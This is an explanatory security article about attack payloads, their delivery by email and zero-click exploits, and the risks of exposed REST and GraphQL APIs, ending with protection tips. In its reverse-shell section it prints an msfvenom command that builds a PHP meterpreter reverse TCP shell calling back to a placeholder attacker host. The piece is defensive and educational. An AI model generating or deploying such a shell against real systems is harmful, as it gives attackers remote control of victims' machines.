A payload is a piece of code that executes when hackers exploit a vulnerability. In other words, it’s an exploit module. It’s usually composed of a few commands that will run on the targeted operating system (e.g., key-loggers) to steal data and other malicious acts.
Most operations use payloads, but there are a few payload-less attacks, such as phishing campaigns that do not include malicious links or malware, but rely on more sophisticated deception such as spoofing to trick their targets.
How Payloads Get Executed
It’s not uncommon to find harmful payloads in an email attachment. One of the most common attacks is to send emails with an attached .pdf file containing a malicious payload that will install a backdoor.
The victim downloads the file and double-clicks to open it, which triggers the code in the background. Note that a payload can remain dormant to be executed later.
And a payload can hide within a non-executable file such as an image and trigger later. Most people will be less reluctant to open .png than .zip or .exe files.
There is an endless supply of payloads hackers can use to infect a machine. You can even generate payloads with a graphical interface, for example, with the Metasploit framework.
This penetration testing can generate a payload and, above all, emulate incoming connections with the infected machine once the hacker is in. They can then interact with the targeted computer, which may consist of taking screenshots, interacting with the filesystem, or accessing the webcam.
The perennial vulnerability of users to email threats makes tools like employee training and email gateways essential cybersecurity defenses – see our picks for the best employee cybersecurity training programs and best secure web gateways.
Payloads and Reverse TCP Shell
Metasploit is handy for generating a reverse shell. The following command generates a reverse TCP shell with the Metasploit framework:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > myshell.php
The -p option stands for payload.
Attackers use it to gain control over a compromised machine through an interactive shell. The target becomes the server, and the attacker is the client. A listener allows for serving a shell to access the victim’s computer when the victim sends a TCP connection.
Even if there’s a firewall enabled, it won’t block outgoing TCP connections. The hacker will use payloads installed on the targeted machine (e.g., trojans) and the TCP connection to execute code remotely.
Zero-clicks and Payloads
Most attacks will make the victim click on something that installs malware or redirects to a fake website.
Zero-click attacks don’t. They skip the human factor, and there’s nothing you can do about it. A poisoned payload is sent to the targeted device through a wireless connection such as Wi-Fi, Bluetooth, GSM, or LTE, and gets executed.
It usually exploits unpatched and unknown flaws in software (“zero day” threats) so there’s no protection or forensic measure possible. Such hackers don’t bother with social engineering or complex scenarios that only give a low success rate. They already have backdoors.
You may have heard about the Pegasus software created by the NSO Group. This software exploits zero-days in popular applications (and installed by default) such as WhatsApp, Telegram, Skype, or iMessage. It can even attack the chip’s firmware and provide root access on the device, which gives more privileges and capabilities than the user.
Such attacks can be pretty expensive, and targeted software gets patched eventually, so you may think the risk is pretty low, and in many cases you’re probably right.
However, it makes sense to protect highly sensitive data in a corporate or other sensitive context. Besides, cyber actors such continuously look for (and find) new zero-days to exploit. Vigilance and a strong defensive posture are always needed.
The Danger of Insecure API Endpoints
There’s not much you can do about zero-days, but you can check your own API endpoints. An API is an interface for programmers. It exposes valuable data to be used by applications. Most companies use RESTful APIs, but GraphQL has become very popular over the past years.
REST is a standardized client-server architecture for APIs where resources can be fetched at specific URLs. The client can use REST APIs to get data (GET) but also to write new entries, modify existing ones (POST, PUT) and delete some (DELETE).
The URI design follows standards and conventions. Each resource can be fetched at specific endpoints. For example, if I want all orders, I can fetch https://myapi.com/v1/orders, but for one order in particular, I’d use https://myapi.com/v1/orders/1001001 instead, where 1001001 is the order ID.
Order data should not be public for obvious reasons, and the endpoint should be tested regularly. Otherwise, hackers may find a way to read, add, modify, or delete resources by sending tricked payloads.
GraphQL has a different approach, with only one endpoint, where you can pass multiple requests and easily cross-join data with a very convenient syntax. It has many other advantages such as better data validation with stricter types, and it’s pretty fun to use, but it can raise security issues:
- the default /graphql endpoint URL is massively used, so it is a target
- the introspection feature reveals non-public information and is sometimes enabled on production by mistake
- too much depth in your query can result in overloads leading to self-inflicted DDoS (distributed denial-of-service)
- authorization flaws are pretty common due to the complexity of the GraphQL schema
Hackers will likely put your GraphQL endpoint to the test, and unless you’re a public platform such as GitHub, you should probably not expose your GraphQL APIs publicly.
Be extra careful with rate-limiting whether you use RESTful or GraphQL APIs. It’s a critical point that can take down your server’s infrastructure.
How to Protect against Payloads
You can apply all the essential security hygiene tips, which include, of course, not clicking email attachments and links blindly. You should also perform penetration tests and patch vulnerabilities regularly.
Keep your APIs secure, as it’s absolutely essential for your business. It implies that developers only use robust technologies they master, not trendy frameworks that can raise security issues when misconfigured or not properly implemented.
Further reading: Top Code Debugging and Code Security Tools
